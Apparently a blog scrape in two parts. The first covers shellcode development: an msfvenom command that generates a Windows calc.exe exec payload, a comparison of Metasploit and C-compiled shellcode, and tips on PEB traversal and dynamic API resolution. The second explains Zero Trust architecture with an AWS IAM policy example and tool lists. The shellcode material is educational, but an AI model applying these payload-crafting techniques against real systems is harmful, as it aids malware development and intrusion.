PE Format Reliance – The code uses system APIs through the IAT and expects the Windows PE loader to handle relocation, section initialization, and runtime setup.
Static API References – API calls like WinExec are accessed through statically defined entries in the import table.
Excessive Padding and Alignment – Compiler-inserted padding like 0F1F4000 nop dword [rax+0x0] and section alignment at addresses like 0x1800.

Using `msfvenom` to Generate Shellcode for calc.exe

payload:

$ msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin

Disassemble the Shellcode

$ ndisasm -b 64 calc.bin

Compare MSF shellcode and C

	Msfvenom	C
Generator Tool	Metaploit’s `msfvenom`	Extracted `.text` section from compiled PE
Code Type	Pure position-independent code (PIC)	Compiler-generated, PE-dependent
Dependency	No external dependencies, self-contained	Requires PE runtime, IAT, and relocation support
Size	Compact (about 66 bytes)	Large (about 6KB)
Feature	1. Direct system calls, no standard library dependencies 2. Dynamically resolve WinExec address (via PEB traversal) 3. No redundant data, completely location independent	1. Rely on PE Import Table (IAT) parsing API 2. Contains compiler-generated prologue/epilogue (such as stack frame adjustments) 3. Relocations and debugging information are present (even if the .text section is extracted)
Execute Environmental	Can run from any memory address	Requires full PE loader support
API call method	Dynamic resolution (gs:[0x60]→PEB→kernel32.dll)	Hard-coded address via IAT
Code alignment	No padding bytes	Contains NOPs and alignment for structure
Minimal, self-contained	Contains additional runtime/library code

How to Improve C-Based Shellcode

To make your payload suitable for shellcode use, consider the following techniques:

PEB Traversal: Manually traverse the Process Environment Block (PEB) to locate loaded modules like kernel32.dll and resolve API addresses dynamically.
Dynamic API Resolution: Avoid using the Import Table; instead, resolve API addresses at runtime using hash-based or name-based lookup.
Avoid Compiler-Inserted Code: Use assembly or minimal C with inline assembly to bypass compiler-generated code (e.g., prologue/epilogue, SEH).
Position-Independent Code: Ensure your code can execute from any memory address without relying on relocations or fixed sections.

Zero Trust Architecture Practice

windasunnie — Thu, 13 Feb 2025 04:57:39 +0000

What is Zero Trust ?

Zero Trust is a modern security model that assumes no entity—whether inside or outside the network—is inherently trustworthy. Unlike traditional security models that rely on perimeter-based defenses, Zero Trust enforces strict identity verification, least-privilege access, and continuous authentication for every access request.

How does Zero Trust Work ?

Zero Trust relies on dynamic security policies, contextual awareness, and a system-wide collection of security intelligence. It follows the principle of "never trust, always verify" by continuously monitoring users, devices, and network activity. The key components include:

Identity and access management (IAM)
Multi-factor authentication (MFA)
Continuous monitoring with Security Information and Event Management (SIEM)
Network segmentation and micro-segmentation
Endpoint security (EDR/XDR)
Strong encryption and data protection policies
Secure application and API access

To enforce Zero Trust, security intelligence needs to collect and analyze various data points, including logs, user behaviors, geolocation data, device security posture, and threat intelligence.

Zero Trust Architecture Security Main Principles

1. Continuous Monitoring and Validation

Every access request is evaluated dynamically based on real-time security context. Continuous monitoring involves:

SIEM (Security Information and Event Management): Analyzes logs and user activities to detect anomalies.
XDR (Extended Detection and Response): Correlates data across endpoints, networks, and cloud environments.
UEBA (User and Entity Behavior Analytics): Identifies suspicious activity based on behavioral patterns.

2. Least-Privilege Access

Enforce strict least-privilege access to minimize security risks. Access should be granted based on the principle of "need-to-know" and "just-in-time" privilege escalation.

Practice Example: IAM Policy (AWS IAM/ACLs)

# iam-policy.json
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "DescribeEC2Instances",
            "Effect": "Allow",
            "Action": [
                "ec2:DescribeInstances",
                "ec2:DescribeInstanceAttribute",
                "ec2:DescribeInstanceStatus",
                "ec2:DescribeAddresses",
                "ec2:DescribeImageAttribute",
                "ec2:DescribeVolumes"
            ],
            "Resource": "*",
            "Condition": {
                "StringEquals": {
                    "aws:RequestedRegion": "us-east-2"
                }
            }
        }
    ]
}

Strong Authentication Mechanisms (2FA/MFA)

Replace static credentials with strong authentication mechanisms such as:

Multi-Factor Authentication (MFA): Requires an additional factor beyond passwords.
Passwordless Authentication: Uses biometrics or cryptographic keys.
Adaptive Authentication: Dynamically adjusts authentication requirements based on risk factors.

4. Micro-Segmentation

Micro-segmentation divides networks into smaller, isolated zones to prevent lateral movement. This includes:

Software-Defined Perimeters (SDP): Dynamically controls access to resources.
ZTNA (Zero Trust Network Access): Provides secure, identity-based access without exposing resources to the internet.
Cloud Security Posture Management (CSPM): Continuously monitors cloud environments for misconfigurations.

5. Curbing Lateral Movement

To prevent attackers from moving laterally within a network:

Enforce strict access controls and short-term session validity.
Implement Network Access Control (NAC) to validate device posture.
Use Privileged Access Management (PAM) to restrict administrative access.

Zero Trust Architecture Best Practices

1. Scan Everything (100% Visibility)

Monitor and analyze all activities across:

ZTNA (Zero Trust Network Access)
EDR/XDR (Endpoint Detection and Response)
SIEM (Security Information and Event Management)
CASB (Cloud Access Security Broker)

2. Segment Everything (Micro-Segmentation)

Use Software-Defined Networking (SDN) to enforce segmentation.
Apply layered firewall policies to restrict unauthorized access.

3. Encrypt & Protect Data

End-to-End Encryption (E2EE) ensures data confidentiality.
Data Loss Prevention (DLP) policies prevent unauthorized data exfiltration.
Cloud Security and Identity Protection mitigate risks associated with SaaS applications.

Recommended Zero Trust Tools

Network Security and Access Control

Cloudflare Zero Trust (Cloudflare Access, Gateway)
Tailscale/ZTNA solutions
Palo Alto Networks Prisma Access
Zscaler Private Access (ZPA)

Identity and Access Management (IAM)

Okta (Identity provider, SSO, MFA, Adaptive Authentication)
Auth0 (OAuth2, OIDC, JWT-based authentication)
- OAuth2
  - Industry Standard
  - Fine-Grained Access Control
This is OAuth2 authentication example
Azure AD Conditional Access

Endpoint and Security Monitoring

CrowdStrike Falcon (EDR/XDR)
SentinelOne (EDR/XDR)
Microsoft Defender for Endpoint

Zero Trust Network Access (ZTNA) Solutions

Tailscale (WireGuard-based private networking)
Google BeyondCorp Enterprise (ZTNA)
HashiCorp Boundary (Secure remote access)

Cloud Security & Data Protection

AWS GuardDuty, Macie, and Security Hub
Google Chronicle & Security Command Center
Microsoft Defender for Cloud

Good Practice

Use battle-tested solutions at scale: HoopHQ Zero Trust
Secure SaaS with Cloudflare Access or BeyondCorp
Automate security policies with Infrastructure as Code (IaC) tools like Terraform